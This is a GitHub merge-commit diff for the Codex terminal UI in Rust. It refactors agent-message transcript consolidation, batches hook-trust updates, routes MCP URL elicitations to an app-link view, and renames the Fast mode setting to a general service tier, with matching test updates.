Merge branch 'main' into codex/dedupe-skill-load-warnings

This commit is contained in:
canvrno-oai
2026-05-11 16:32:19 -07:00
committed by GitHub
1146 changed files with 70980 additions and 40113 deletions
+2
View File
@@ -16,6 +16,7 @@ path = "src/bin/md-events.rs"
[lib]
name = "codex_tui"
path = "src/lib.rs"
doctest = false
[lints]
workspace = true
@@ -42,6 +43,7 @@ codex-feedback = { workspace = true }
codex-file-search = { workspace = true }
codex-git-utils = { workspace = true }
codex-login = { workspace = true }
codex-message-history = { workspace = true }
codex-model-provider = { workspace = true }
codex-model-provider-info = { workspace = true }
codex-models-manager = { workspace = true }
+33 -5
View File
@@ -17,6 +17,7 @@ use crate::app_event_sender::AppEventSender;
use crate::app_server_session::AppServerSession;
use crate::app_server_session::AppServerStartedThread;
use crate::app_server_session::app_server_rate_limit_snapshots;
use crate::bottom_pane::AppLinkViewParams;
use crate::bottom_pane::ApprovalRequest;
use crate::bottom_pane::FeedbackAudience;
use crate::bottom_pane::McpServerElicitationFormRequest;
@@ -39,15 +40,14 @@ use crate::history_cell;
use crate::history_cell::HistoryCell;
#[cfg(not(debug_assertions))]
use crate::history_cell::UpdateAvailableHistoryCell;
use crate::hooks_rpc::HookTrustUpdate;
use crate::key_hint::KeyBindingListExt;
use crate::keymap::RuntimeKeymap;
use crate::legacy_core::append_message_history_entry;
use crate::legacy_core::config::Config;
use crate::legacy_core::config::ConfigBuilder;
use crate::legacy_core::config::ConfigOverrides;
use crate::legacy_core::config::edit::ConfigEdit;
use crate::legacy_core::config::edit::ConfigEditsBuilder;
use crate::legacy_core::lookup_message_history_entry;
#[cfg(target_os = "windows")]
use crate::legacy_core::windows_sandbox::WindowsSandboxLevelExt;
use crate::model_catalog::ModelCatalog;
@@ -92,8 +92,7 @@ use codex_app_server_protocol::ConfigWriteResponse;
use codex_app_server_protocol::FeedbackUploadParams;
use codex_app_server_protocol::FeedbackUploadResponse;
use codex_app_server_protocol::GetAccountRateLimitsResponse;
use codex_app_server_protocol::HooksListParams;
use codex_app_server_protocol::HooksListResponse;
use codex_app_server_protocol::HooksListEntry;
use codex_app_server_protocol::ListMcpServerStatusParams;
use codex_app_server_protocol::ListMcpServerStatusResponse;
#[cfg(test)]
@@ -181,6 +180,7 @@ use tokio::sync::mpsc::unbounded_channel;
use tokio::task::JoinHandle;
use toml::Value as TomlValue;
use uuid::Uuid;
mod agent_message_consolidation;
mod agent_navigation;
mod app_server_event_targets;
mod app_server_events;
@@ -219,6 +219,7 @@ const EXTERNAL_EDITOR_HINT: &str = "Save and close external editor to continue."
const THREAD_EVENT_CHANNEL_CAPACITY: usize = 32768;
enum ThreadInteractiveRequest {
AppLink(AppLinkViewParams),
Approval(ApprovalRequest),
McpServerElicitation(McpServerElicitationFormRequest),
}
@@ -247,6 +248,26 @@ fn collab_receiver_thread_ids(notification: &ServerNotification) -> Option<&[Str
}
}
fn collab_receiver_is_not_found(
notification: &ServerNotification,
receiver_thread_id: &str,
) -> bool {
match notification {
ServerNotification::ItemCompleted(notification) => match &notification.item {
ThreadItem::CollabAgentToolCall { agents_states, .. } => {
agents_states.get(receiver_thread_id).is_some_and(|state| {
matches!(
&state.status,
codex_app_server_protocol::CollabAgentStatus::NotFound
)
})
}
_ => false,
},
_ => false,
}
}
fn default_exec_approval_decisions(
network_approval_context: Option<&codex_app_server_protocol::NetworkApprovalContext>,
proposed_execpolicy_amendment: Option<&codex_app_server_protocol::ExecPolicyAmendment>,
@@ -576,6 +597,7 @@ impl App {
) -> crate::chatwidget::ChatWidgetInit {
crate::chatwidget::ChatWidgetInit {
config: cfg,
environment_manager: self.environment_manager.clone(),
frame_requester: tui.frame_requester(),
app_event_tx: self.app_event_tx.clone(),
workspace_command_runner: self.workspace_command_runner.clone(),
@@ -618,6 +640,7 @@ impl App {
remote_app_server_auth_token: Option<String>,
state_db: Option<StateDbHandle>,
environment_manager: Arc<EnvironmentManager>,
startup_hooks_browser: Option<HooksListEntry>,
) -> Result<AppExitInfo> {
use tokio_stream::StreamExt;
let (app_event_tx, mut app_event_rx) = unbounded_channel();
@@ -740,6 +763,7 @@ impl App {
.await;
let init = crate::chatwidget::ChatWidgetInit {
config: config.clone(),
environment_manager: environment_manager.clone(),
frame_requester: tui.frame_requester(),
app_event_tx: app_event_tx.clone(),
workspace_command_runner: Some(workspace_command_runner.clone()),
@@ -776,6 +800,7 @@ impl App {
})?;
let init = crate::chatwidget::ChatWidgetInit {
config: config.clone(),
environment_manager: environment_manager.clone(),
frame_requester: tui.frame_requester(),
app_event_tx: app_event_tx.clone(),
workspace_command_runner: Some(workspace_command_runner.clone()),
@@ -817,6 +842,7 @@ impl App {
})?;
let init = crate::chatwidget::ChatWidgetInit {
config: config.clone(),
environment_manager: environment_manager.clone(),
frame_requester: tui.frame_requester(),
app_event_tx: app_event_tx.clone(),
workspace_command_runner: Some(workspace_command_runner.clone()),
@@ -912,6 +938,9 @@ See the Codex keymap documentation for supported actions and examples."
pending_plugin_enabled_writes: HashMap::new(),
pending_hook_enabled_writes: HashMap::new(),
};
if let Some(entry) = startup_hooks_browser {
app.chat_widget.open_hooks_browser(entry);
}
if let Some(started) = initial_started_thread {
let thread_id = started.session.thread_id;
app.enqueue_primary_thread_session(started.session, started.turns)
@@ -955,7 +984,6 @@ See the Codex keymap documentation for supported actions and examples."
tui.frame_requester().schedule_frame();
app.refresh_startup_skills(&app_server);
app.refresh_startup_hooks(&app_server);
// Kick off a non-blocking rate-limit prefetch so the first `/status`
// already has data, without delaying the initial frame render.
if requires_openai_auth && has_chatgpt_account {
@@ -0,0 +1,92 @@
//! Transcript consolidation for finalized streaming agent messages.
//!
//! During streaming, the chat widget emits transient `AgentMessageCell`s so it
//! can animate stable lines into scrollback while keeping the active mutable
//! tail in the bottom pane. Once the answer finishes, the app replaces that
//! trailing run with a single source-backed `AgentMarkdownCell`. This makes the
//! transcript the canonical owner of the raw markdown source used for future
//! resize re-renders.
use std::path::PathBuf;
use std::sync::Arc;
use color_eyre::eyre::Result;
use super::App;
use super::resize_reflow::trailing_run_start;
use crate::app_event::ConsolidationScrollbackReflow;
use crate::history_cell;
use crate::history_cell::HistoryCell;
use crate::pager_overlay::Overlay;
use crate::tui;
impl App {
pub(super) fn handle_consolidate_agent_message(
&mut self,
tui: &mut tui::Tui,
source: String,
cwd: PathBuf,
scrollback_reflow: ConsolidationScrollbackReflow,
deferred_history_cell: Option<Box<dyn HistoryCell>>,
) -> Result<()> {
// Some finalize paths must preserve a last provisional stream cell long
// enough for queue ordering, then fold it into the canonical
// source-backed cell during consolidation.
if let Some(cell) = deferred_history_cell {
let cell: Arc<dyn HistoryCell> = cell.into();
if let Some(Overlay::Transcript(t)) = &mut self.overlay {
t.insert_cell(cell.clone());
}
self.transcript_cells.push(cell);
}
// Walk backward to find the contiguous run of streaming AgentMessageCells that
// belong to the just-finalized stream.
let end = self.transcript_cells.len();
tracing::debug!(
"ConsolidateAgentMessage: transcript_cells.len()={end}, source_len={}",
source.len()
);
let start = trailing_run_start::<history_cell::AgentMessageCell>(&self.transcript_cells);
if start < end {
tracing::debug!(
"ConsolidateAgentMessage: replacing cells [{start}..{end}] with AgentMarkdownCell"
);
let consolidated: Arc<dyn HistoryCell> =
Arc::new(history_cell::AgentMarkdownCell::new(source, &cwd));
self.transcript_cells
.splice(start..end, std::iter::once(consolidated.clone()));
if let Some(Overlay::Transcript(t)) = &mut self.overlay {
t.consolidate_cells(start..end, consolidated.clone());
tui.frame_requester().schedule_frame();
}
self.finish_agent_message_consolidation(tui, scrollback_reflow)?;
} else {
tracing::debug!(
"ConsolidateAgentMessage: no cells to consolidate(start={start}, end={end})",
);
self.maybe_finish_stream_reflow(tui)?;
}
Ok(())
}
fn finish_agent_message_consolidation(
&mut self,
tui: &mut tui::Tui,
scrollback_reflow: ConsolidationScrollbackReflow,
) -> Result<()> {
match scrollback_reflow {
ConsolidationScrollbackReflow::IfResizeReflowRan => {
self.maybe_finish_stream_reflow(tui)?;
}
ConsolidationScrollbackReflow::Required => {
self.finish_required_stream_reflow(tui)?;
}
}
Ok(())
}
}
@@ -25,6 +25,7 @@ pub(super) fn server_request_thread_id(request: &ServerRequest) -> Option<Thread
ThreadId::from_string(&params.thread_id).ok()
}
ServerRequest::ChatgptAuthTokensRefresh { .. }
| ServerRequest::AttestationGenerate { .. }
| ServerRequest::ApplyPatchApproval { .. }
| ServerRequest::ExecCommandApproval { .. } => None,
}
@@ -134,6 +134,12 @@ impl PendingAppServerRequests {
})
}
ServerRequest::ChatgptAuthTokensRefresh { .. } => None,
ServerRequest::AttestationGenerate { request_id, .. } => {
Some(UnsupportedAppServerRequest {
request_id: request_id.clone(),
message: "Attestation generation is not available in TUI.".to_string(),
})
}
ServerRequest::ApplyPatchApproval { request_id, .. } => {
Some(UnsupportedAppServerRequest {
request_id: request_id.clone(),
@@ -332,6 +338,7 @@ impl PendingAppServerRequests {
.any(|pending_request_id| pending_request_id == request_id),
ServerRequest::DynamicToolCall { .. }
| ServerRequest::ChatgptAuthTokensRefresh { .. }
| ServerRequest::AttestationGenerate { .. }
| ServerRequest::ApplyPatchApproval { .. }
| ServerRequest::ExecCommandApproval { .. } => true,
}
@@ -429,6 +436,7 @@ mod tests {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "call-1".to_string(),
started_at_ms: 0,
approval_id: Some("approval-1".to_string()),
reason: None,
network_approval_context: None,
@@ -481,6 +489,7 @@ mod tests {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "perm-1".to_string(),
started_at_ms: 0,
cwd: absolute_path(if cfg!(windows) { r"C:\tmp" } else { "/tmp" }),
reason: None,
permissions: serde_json::from_value(json!({
@@ -686,6 +695,7 @@ mod tests {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "patch-1".to_string(),
started_at_ms: 0,
reason: None,
grant_root: None,
},
@@ -715,6 +725,7 @@ mod tests {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "call-1".to_string(),
started_at_ms: 0,
approval_id: Some("approval-1".to_string()),
reason: None,
network_approval_context: None,
+20 -86
View File
@@ -5,7 +5,6 @@
//! the main event loop remains single-threaded.
use super::*;
use codex_app_server_protocol::HookTrustStatus;
use codex_app_server_protocol::MarketplaceAddParams;
use codex_app_server_protocol::MarketplaceAddResponse;
use codex_app_server_protocol::MarketplaceRemoveParams;
@@ -15,6 +14,9 @@ use codex_app_server_protocol::MarketplaceUpgradeResponse;
use codex_app_server_protocol::RequestId;
use crate::hooks_rpc::fetch_hooks_list;
use crate::hooks_rpc::write_hook_trust;
use crate::hooks_rpc::write_hook_trusts;
use codex_utils_absolute_path::AbsolutePathBuf;
impl App {
@@ -89,47 +91,6 @@ impl App {
});
}
/// Emits the initial hook review warning without delaying the first interactive frame.
pub(super) fn refresh_startup_hooks(&mut self, app_server: &AppServerSession) {
let request_handle = app_server.request_handle();
let app_event_tx = self.app_event_tx.clone();
let cwd = self.config.cwd.to_path_buf();
tokio::spawn(async move {
let result = fetch_hooks_list(request_handle, cwd.clone()).await;
let response = match result {
Ok(response) => response,
Err(err) => {
tracing::warn!("failed to load startup hook review state: {err:#}");
return;
}
};
let hooks_needing_review = response
.data
.into_iter()
.find(|entry| entry.cwd.as_path() == cwd.as_path())
.map(|entry| {
entry
.hooks
.into_iter()
.filter(|hook| {
matches!(
hook.trust_status,
HookTrustStatus::Untrusted | HookTrustStatus::Modified
)
})
.count()
})
.unwrap_or_default();
if let Some(message) =
startup_prompts::hooks_needing_review_warning(hooks_needing_review)
{
app_event_tx.send(AppEvent::InsertHistoryCell(Box::new(
history_cell::new_warning_event(message),
)));
}
});
}
pub(super) fn fetch_plugins_list(&mut self, app_server: &AppServerSession, cwd: PathBuf) {
let request_handle = app_server.request_handle();
let app_event_tx = self.app_event_tx.clone();
@@ -381,6 +342,22 @@ impl App {
});
}
pub(super) fn trust_hooks(
&mut self,
app_server: &AppServerSession,
updates: Vec<HookTrustUpdate>,
) {
let request_handle = app_server.request_handle();
let app_event_tx = self.app_event_tx.clone();
tokio::spawn(async move {
let result = write_hook_trusts(request_handle, updates)
.await
.map(|_| ())
.map_err(|err| format!("Failed to trust hooks: {err}"));
app_event_tx.send(AppEvent::HookTrusted { result });
});
}
pub(super) fn refresh_plugin_mentions(&mut self) {
let config = self.config.clone();
let app_event_tx = self.app_event_tx.clone();
@@ -648,7 +625,6 @@ pub(super) async fn fetch_skills_list(
params: SkillsListParams {
cwds: vec![cwd],
force_reload: true,
per_cwd_extra_user_roots: None,
},
})
.await
@@ -666,6 +642,7 @@ pub(super) async fn fetch_plugins_list(
request_id,
params: PluginListParams {
cwds: Some(vec![cwd]),
marketplace_kinds: None,
},
})
.await
@@ -674,20 +651,6 @@ pub(super) async fn fetch_plugins_list(
Ok(response)
}
pub(super) async fn fetch_hooks_list(
request_handle: AppServerRequestHandle,
cwd: PathBuf,
) -> Result<HooksListResponse> {
let request_id = RequestId::String(format!("hooks-list-{}", Uuid::new_v4()));
request_handle
.request_typed(ClientRequest::HooksList {
request_id,
params: HooksListParams { cwds: vec![cwd] },
})
.await
.wrap_err("hooks/list failed in TUI")
}
const CLI_HIDDEN_PLUGIN_MARKETPLACES: &[&str] = &["openai-bundled"];
pub(super) fn hide_cli_only_plugin_marketplaces(response: &mut PluginListResponse) {
@@ -864,35 +827,6 @@ pub(super) async fn write_hook_enabled(
.wrap_err("config/batchWrite failed while updating hook enablement in TUI")
}
pub(super) async fn write_hook_trust(
request_handle: AppServerRequestHandle,
key: String,
current_hash: String,
) -> Result<ConfigWriteResponse> {
let request_id = RequestId::String(format!("hooks-config-write-{}", Uuid::new_v4()));
let value = serde_json::json!({
key: {
"trusted_hash": current_hash,
}
});
request_handle
.request_typed(ClientRequest::ConfigBatchWrite {
request_id,
params: ConfigBatchWriteParams {
edits: vec![codex_app_server_protocol::ConfigEdit {
key_path: "hooks.state".to_string(),
value,
merge_strategy: MergeStrategy::Upsert,
}],
file_path: None,
expected_version: None,
reload_user_config: true,
},
})
.await
.wrap_err("config/batchWrite failed while updating hook trust in TUI")
}
pub(super) fn build_feedback_upload_params(
origin_thread_id: Option<ThreadId>,
rollout_path: Option<PathBuf>,
+1 -2
View File
@@ -648,8 +648,7 @@ mod tests {
cwd: next_cwd.clone().abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(PathBuf::new()),
});
+38 -35
View File
@@ -217,29 +217,19 @@ impl App {
AppEvent::EndInitialHistoryReplayBuffer => {
self.finish_initial_history_replay_buffer(tui);
}
AppEvent::ConsolidateAgentMessage { source, cwd } => {
if !self.terminal_resize_reflow_enabled() {
self.transcript_reflow.clear();
return Ok(AppRunControl::Continue);
}
let end = self.transcript_cells.len();
let start =
trailing_run_start::<history_cell::AgentMessageCell>(&self.transcript_cells);
if start < end {
let consolidated: Arc<dyn HistoryCell> =
Arc::new(history_cell::AgentMarkdownCell::new(source, &cwd));
self.transcript_cells
.splice(start..end, std::iter::once(consolidated.clone()));
if let Some(Overlay::Transcript(t)) = &mut self.overlay {
t.consolidate_cells(start..end, consolidated.clone());
tui.frame_requester().schedule_frame();
}
self.maybe_finish_stream_reflow(tui)?;
} else {
self.maybe_finish_stream_reflow(tui)?;
}
AppEvent::ConsolidateAgentMessage {
source,
cwd,
scrollback_reflow,
deferred_history_cell,
} => {
self.handle_consolidate_agent_message(
tui,
source,
cwd,
scrollback_reflow,
deferred_history_cell,
)?;
}
AppEvent::ConsolidateProposedPlan(source) => {
if !self.terminal_resize_reflow_enabled() {
@@ -326,6 +316,17 @@ impl App {
AppEvent::CodexOp(op) => {
self.submit_active_thread_op(app_server, op).await?;
}
AppEvent::AppendMessageHistoryEntry { thread_id, text } => {
self.append_message_history_entry(thread_id, text);
}
AppEvent::LookupMessageHistoryEntry {
thread_id,
offset,
log_id,
} => {
self.lookup_message_history_entry(thread_id, offset, log_id)
.await?;
}
AppEvent::ApproveRecentAutoReviewDenial { thread_id, id } => {
self.chat_widget
.approve_recent_auto_review_denial(thread_id, id);
@@ -661,6 +662,9 @@ impl App {
AppEvent::OpenThreadGoalMenu { thread_id } => {
self.open_thread_goal_menu(app_server, thread_id).await;
}
AppEvent::OpenThreadGoalEditor { thread_id } => {
self.open_thread_goal_editor(app_server, thread_id).await;
}
AppEvent::SetThreadGoalObjective {
thread_id,
objective,
@@ -1263,25 +1267,21 @@ impl App {
AppEvent::PersistServiceTierSelection { service_tier } => {
self.refresh_status_line();
let profile = self.active_profile.as_deref();
self.config.service_tier = service_tier;
self.config.service_tier = service_tier.clone();
let mut edits = ConfigEditsBuilder::new(&self.config.codex_home)
.with_profile(profile)
.set_service_tier(service_tier);
.set_service_tier(service_tier.clone());
if service_tier.is_none() {
self.config.notices.fast_default_opt_out = Some(true);
edits = edits.set_fast_default_opt_out(/*opted_out*/ true);
}
match edits.apply().await {
Ok(()) => {
let status = if matches!(
service_tier,
Some(codex_protocol::config_types::ServiceTier::Fast)
) {
"on"
let mut message = if let Some(service_tier) = service_tier {
format!("Service tier set to {service_tier}")
} else {
"off"
"Service tier cleared".to_string()
};
let mut message = format!("Fast mode set to {status}");
if let Some(profile) = profile {
message.push_str(" for ");
message.push_str(profile);
@@ -1290,14 +1290,14 @@ impl App {
self.chat_widget.add_info_message(message, /*hint*/ None);
}
Err(err) => {
tracing::error!(error = %err, "failed to persist fast mode selection");
tracing::error!(error = %err, "failed to persist service tier selection");
if let Some(profile) = profile {
self.chat_widget.add_error_message(format!(
"Failed to save Fast mode for profile `{profile}`: {err}"
"Failed to save service tier for profile `{profile}`: {err}"
));
} else {
self.chat_widget.add_error_message(format!(
"Failed to save default Fast mode: {err}"
"Failed to save default service tier: {err}"
));
}
}
@@ -1706,6 +1706,9 @@ impl App {
AppEvent::TrustHook { key, current_hash } => {
self.trust_hook(app_server, key, current_hash);
}
AppEvent::TrustHooks { updates } => {
self.trust_hooks(app_server, updates);
}
AppEvent::HookEnabledSet {
key,
enabled,
+2
View File
@@ -118,6 +118,7 @@ mod tests {
fn test_thread(thread_id: ThreadId, source: SessionSource) -> Thread {
Thread {
id: thread_id.to_string(),
session_id: thread_id.to_string(),
forked_from_id: None,
preview: String::new(),
ephemeral: false,
@@ -129,6 +130,7 @@ mod tests {
cwd: test_path_buf("/tmp").abs(),
cli_version: "0.0.0".to_string(),
source,
thread_source: None,
agent_nickname: None,
agent_role: None,
git_info: None,
@@ -612,6 +612,7 @@ mod tests {
thread_id: "thread-1".to_string(),
turn_id: turn_id.to_string(),
item_id: call_id.to_string(),
started_at_ms: 0,
approval_id: approval_id.map(str::to_string),
reason: None,
network_approval_context: None,
@@ -633,6 +634,7 @@ mod tests {
thread_id: "thread-1".to_string(),
turn_id: turn_id.to_string(),
item_id: call_id.to_string(),
started_at_ms: 0,
reason: None,
grant_root: None,
},
+20 -1
View File
@@ -92,6 +92,7 @@ impl SideParentStatus {
| ServerRequest::ApplyPatchApproval { .. }
| ServerRequest::ExecCommandApproval { .. } => Some(SideParentStatus::NeedsApproval),
ServerRequest::DynamicToolCall { .. }
| ServerRequest::AttestationGenerate { .. }
| ServerRequest::ChatgptAuthTokensRefresh { .. } => None,
}
}
@@ -146,6 +147,17 @@ mod tests {
"Failed to start side conversation: transport disconnected"
);
}
#[test]
fn side_developer_instructions_appends_existing_policy() {
let developer_instructions =
App::side_developer_instructions(Some("Existing developer policy."));
assert!(developer_instructions.contains("Existing developer policy."));
assert!(
developer_instructions.contains("You are in a side conversation, not the main thread.")
);
}
}
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
@@ -445,7 +457,14 @@ impl App {
}
pub(super) fn side_fork_config(&self) -> Config {
let mut fork_config = self.config.clone();
let mut fork_config = self.chat_widget.config_ref().clone();
let parent_model = self.chat_widget.current_model();
if !parent_model.trim().is_empty() {
fork_config.model = Some(parent_model.to_string());
}
fork_config.model_reasoning_effort = self.chat_widget.current_reasoning_effort();
fork_config.service_tier = self.chat_widget.configured_service_tier();
fork_config.notices.fast_default_opt_out = self.chat_widget.fast_default_opt_out();
fork_config.ephemeral = true;
fork_config.developer_instructions = Some(Self::side_developer_instructions(
fork_config.developer_instructions.as_deref(),
-10
View File
@@ -77,16 +77,6 @@ pub(super) fn emit_system_bwrap_warning(app_event_tx: &AppEventSender, config: &
)));
}
pub(super) fn hooks_needing_review_warning(count: usize) -> Option<String> {
match count {
0 => None,
1 => Some("1 hook needs review before it can run. Open /hooks to review it.".to_string()),
count => Some(format!(
"{count} hooks need review before they can run. Open /hooks to review them."
)),
}
}
pub(super) fn should_show_model_migration_prompt(
current_model: &str,
target_model: &str,
+230 -43
View File
@@ -37,6 +37,8 @@ use codex_app_server_protocol::FileChangeRequestApprovalParams;
use codex_app_server_protocol::FileUpdateChange;
use codex_app_server_protocol::ItemStartedNotification;
use codex_app_server_protocol::JSONRPCErrorError;
use codex_app_server_protocol::McpServerElicitationRequest;
use codex_app_server_protocol::McpServerElicitationRequestParams;
use codex_app_server_protocol::McpServerStartupState;
use codex_app_server_protocol::McpServerStatusUpdatedNotification;
use codex_app_server_protocol::NetworkApprovalContext as AppServerNetworkApprovalContext;
@@ -71,6 +73,7 @@ use codex_protocol::ThreadId;
use codex_protocol::config_types::CollaborationMode;
use codex_protocol::config_types::CollaborationModeMask;
use codex_protocol::config_types::ModeKind;
use codex_protocol::config_types::ServiceTier;
use codex_protocol::config_types::Settings;
use codex_protocol::models::FileSystemPermissions;
use codex_protocol::models::NetworkPermissions;
@@ -299,17 +302,6 @@ async fn ignore_same_thread_resume_allows_reattaching_displayed_inactive_thread(
assert!(app.transcript_cells.is_empty());
}
#[test]
fn hooks_needing_review_startup_warning_snapshot() {
let message = startup_prompts::hooks_needing_review_warning(/*count*/ 2)
.expect("review-needed hooks should produce a startup warning");
let rendered = lines_to_single_string(
&history_cell::new_warning_event(message).display_lines(/*width*/ 80),
);
assert_app_snapshot!("hooks_needing_review_startup_warning", rendered);
}
#[tokio::test]
async fn enqueue_primary_thread_session_replays_buffered_approval_after_attach() -> Result<()> {
let (mut app, mut app_event_rx, _op_rx) = make_test_app_with_channels().await;
@@ -433,6 +425,7 @@ async fn enqueue_primary_thread_session_replays_turns_before_initial_prompt_subm
let model = crate::legacy_core::test_support::get_model_offline(config.model.as_deref());
app.chat_widget = ChatWidget::new_with_app_event(ChatWidgetInit {
config,
environment_manager: app.environment_manager.clone(),
frame_requester: crate::tui::FrameRequester::test_dummy(),
app_event_tx: app.app_event_tx.clone(),
workspace_command_runner: None,
@@ -548,18 +541,9 @@ async fn history_lookup_response_is_routed_to_requesting_thread() -> Result<()>
let (mut app, mut app_event_rx, _op_rx) = make_test_app_with_channels().await;
let thread_id = ThreadId::new();
let handled = app
.try_handle_local_history_op(
thread_id,
&Op::GetHistoryEntryRequest {
offset: 0,
log_id: 1,
},
)
app.lookup_message_history_entry(thread_id, /*offset*/ 0, /*log_id*/ 1)
.await?;
assert!(handled);
let app_event = tokio::time::timeout(Duration::from_secs(1), app_event_rx.recv())
.await
.expect("history lookup should emit an app event")
@@ -1266,6 +1250,75 @@ async fn token_usage_update_refreshes_status_line_with_runtime_context_window()
);
}
#[tokio::test]
async fn collab_receiver_notification_caches_thread_without_app_server_read() {
let mut app = make_test_app().await;
let receiver_thread_id =
ThreadId::from_string("00000000-0000-0000-0000-000000000123").expect("valid thread id");
app.handle_thread_event_now(ThreadBufferedEvent::Notification(
ServerNotification::ItemStarted(ItemStartedNotification {
thread_id: ThreadId::new().to_string(),
turn_id: "turn-1".to_string(),
started_at_ms: 0,
item: ThreadItem::CollabAgentToolCall {
id: "wait-1".to_string(),
tool: codex_app_server_protocol::CollabAgentTool::Wait,
status: codex_app_server_protocol::CollabAgentToolCallStatus::InProgress,
sender_thread_id: ThreadId::new().to_string(),
receiver_thread_ids: vec![receiver_thread_id.to_string()],
prompt: None,
model: None,
reasoning_effort: None,
agents_states: HashMap::new(),
},
}),
));
assert_eq!(
app.agent_navigation.get(&receiver_thread_id),
Some(&AgentPickerThreadEntry {
agent_nickname: None,
agent_role: None,
is_closed: false,
})
);
}
#[tokio::test]
async fn collab_receiver_notification_does_not_cache_not_found_thread() {
let mut app = make_test_app().await;
let receiver_thread_id =
ThreadId::from_string("00000000-0000-0000-0000-000000000124").expect("valid thread id");
app.handle_thread_event_now(ThreadBufferedEvent::Notification(
ServerNotification::ItemCompleted(codex_app_server_protocol::ItemCompletedNotification {
thread_id: ThreadId::new().to_string(),
turn_id: "turn-1".to_string(),
completed_at_ms: 0,
item: ThreadItem::CollabAgentToolCall {
id: "send-1".to_string(),
tool: codex_app_server_protocol::CollabAgentTool::SendInput,
status: codex_app_server_protocol::CollabAgentToolCallStatus::Failed,
sender_thread_id: ThreadId::new().to_string(),
receiver_thread_ids: vec![receiver_thread_id.to_string()],
prompt: Some("hello".to_string()),
model: None,
reasoning_effort: None,
agents_states: HashMap::from([(
receiver_thread_id.to_string(),
codex_app_server_protocol::CollabAgentState {
status: codex_app_server_protocol::CollabAgentStatus::NotFound,
message: None,
},
)]),
},
}),
));
assert_eq!(app.agent_navigation.get(&receiver_thread_id), None);
}
#[tokio::test]
async fn open_agent_picker_keeps_missing_threads_for_replay() -> Result<()> {
let mut app = Box::pin(make_test_app()).await;
@@ -2721,6 +2774,7 @@ async fn inactive_thread_file_change_approval_recovers_buffered_changes() {
thread_id: thread_id.to_string(),
turn_id: "turn-approval".to_string(),
item_id: "patch-approval".to_string(),
started_at_ms: 0,
reason: Some("command failed; retry without sandbox?".to_string()),
grant_root: None,
},
@@ -2771,6 +2825,7 @@ async fn inactive_thread_permissions_approval_preserves_file_system_permissions(
thread_id: thread_id.to_string(),
turn_id: "turn-approval".to_string(),
item_id: "call-approval".to_string(),
started_at_ms: 0,
cwd: test_absolute_path("/tmp"),
reason: Some("Need access to .git".to_string()),
permissions: codex_app_server_protocol::RequestPermissionProfile {
@@ -2810,6 +2865,84 @@ async fn inactive_thread_permissions_approval_preserves_file_system_permissions(
);
}
#[tokio::test]
async fn inactive_thread_url_elicitation_routes_to_app_link() {
let app = make_test_app().await;
let thread_id = ThreadId::new();
let request = ServerRequest::McpServerElicitationRequest {
request_id: AppServerRequestId::Integer(9),
params: McpServerElicitationRequestParams {
thread_id: thread_id.to_string(),
turn_id: Some("turn-auth".to_string()),
server_name: "payments".to_string(),
request: McpServerElicitationRequest::Url {
meta: None,
message: "Review the payment details to continue.".to_string(),
url: "https://payments.example/checkout/123".to_string(),
elicitation_id: "payment-123".to_string(),
},
},
};
let Some(ThreadInteractiveRequest::AppLink(params)) = app
.interactive_request_for_thread_request(thread_id, &request)
.await
else {
panic!("expected app link request");
};
assert_eq!(params.title, "Action required");
assert_eq!(params.description, Some("Server: payments".to_string()));
assert_eq!(params.url, "https://payments.example/checkout/123");
assert_eq!(
params.elicitation_target,
Some(crate::bottom_pane::AppLinkElicitationTarget {
thread_id,
server_name: "payments".to_string(),
request_id: AppServerRequestId::Integer(9),
})
);
}
#[tokio::test]
async fn inactive_thread_invalid_url_elicitation_is_declined() {
let (app, mut app_event_rx, _op_rx) = make_test_app_with_channels().await;
let thread_id = ThreadId::new();
let request = ServerRequest::McpServerElicitationRequest {
request_id: AppServerRequestId::Integer(10),
params: McpServerElicitationRequestParams {
thread_id: thread_id.to_string(),
turn_id: Some("turn-auth".to_string()),
server_name: "payments".to_string(),
request: McpServerElicitationRequest::Url {
meta: None,
message: "Review the payment details to continue.".to_string(),
url: "http://payments.example/checkout/123".to_string(),
elicitation_id: "payment-123".to_string(),
},
},
};
assert!(
app.interactive_request_for_thread_request(thread_id, &request)
.await
.is_none()
);
assert_matches!(
app_event_rx.try_recv(),
Ok(AppEvent::SubmitThreadOp {
thread_id: op_thread_id,
op: Op::ResolveElicitation {
server_name,
request_id: AppServerRequestId::Integer(10),
decision: codex_app_server_protocol::McpServerElicitationAction::Decline,
content: None,
meta: None,
},
}) if op_thread_id == thread_id && server_name == "payments"
);
}
#[tokio::test]
async fn inactive_thread_approval_badge_clears_after_turn_completion_notification() -> Result<()> {
let mut app = make_test_app().await;
@@ -2915,6 +3048,7 @@ async fn inactive_thread_started_notification_initializes_replay_session() -> Re
ServerNotification::ThreadStarted(ThreadStartedNotification {
thread: Thread {
id: agent_thread_id.to_string(),
session_id: agent_thread_id.to_string(),
forked_from_id: None,
preview: "agent thread".to_string(),
ephemeral: false,
@@ -2926,6 +3060,7 @@ async fn inactive_thread_started_notification_initializes_replay_session() -> Re
cwd: test_path_buf("/tmp/agent").abs(),
cli_version: "0.0.0".to_string(),
source: codex_app_server_protocol::SessionSource::Unknown,
thread_source: None,
agent_nickname: Some("Robie".to_string()),
agent_role: Some("explorer".to_string()),
git_info: None,
@@ -2996,6 +3131,7 @@ async fn inactive_thread_started_notification_preserves_primary_model_when_path_
ServerNotification::ThreadStarted(ThreadStartedNotification {
thread: Thread {
id: agent_thread_id.to_string(),
session_id: agent_thread_id.to_string(),
forked_from_id: None,
preview: "agent thread".to_string(),
ephemeral: false,
@@ -3007,6 +3143,7 @@ async fn inactive_thread_started_notification_preserves_primary_model_when_path_
cwd: test_path_buf("/tmp/agent").abs(),
cli_version: "0.0.0".to_string(),
source: codex_app_server_protocol::SessionSource::Unknown,
thread_source: None,
agent_nickname: Some("Robie".to_string()),
agent_role: Some("explorer".to_string()),
git_info: None,
@@ -3050,6 +3187,7 @@ async fn thread_read_session_state_does_not_reuse_primary_permission_profile() {
let thread = Thread {
id: read_thread_id.to_string(),
session_id: read_thread_id.to_string(),
forked_from_id: None,
preview: "read thread".to_string(),
ephemeral: false,
